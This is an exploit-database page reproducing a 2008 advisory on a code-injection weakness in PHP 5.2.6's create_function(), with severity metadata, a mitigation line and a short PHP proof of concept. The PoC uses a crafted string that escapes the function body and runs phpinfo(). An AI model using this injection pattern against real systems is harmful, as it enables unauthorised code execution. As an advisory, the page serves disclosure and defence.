header-logo
Suggest Exploit
vendor:
PHP
by:
SecurityFocus
7.5
CVSS
HIGH
Code-Injection
94
CWE
Product Name: PHP
Affected Version From: PHP 5.2.6
Affected Version To: PHP 5.2.6
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

PHP Code-Injection Weakness

PHP is prone to a code-injection weakness because it fails to sufficiently sanitize input to 'create_function()'. An attacker who can exploit this weakness will be able to execute code with the privileges of an additional vulnerable program.

Mitigation:

Input validation should be used to ensure that user-supplied data is properly sanitized.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/31398/info
 
PHP is prone to a code-injection weakness because it fails to sufficiently sanitize input to 'create_function()'. Note that the anonymous function returned need not be called for the supplied code to be executed.
 
An attacker who can exploit this weakness will be able to execute code with the privileges of an additional vulnerable program.
 
This weakness is reported in PHP 5.2.6; other versions may also be affected. 

<?php
$funstring = 'return -1 * var_dump($a[""]);}phpinfo();/*"]';
$unused = create_function('',$funstring);
?>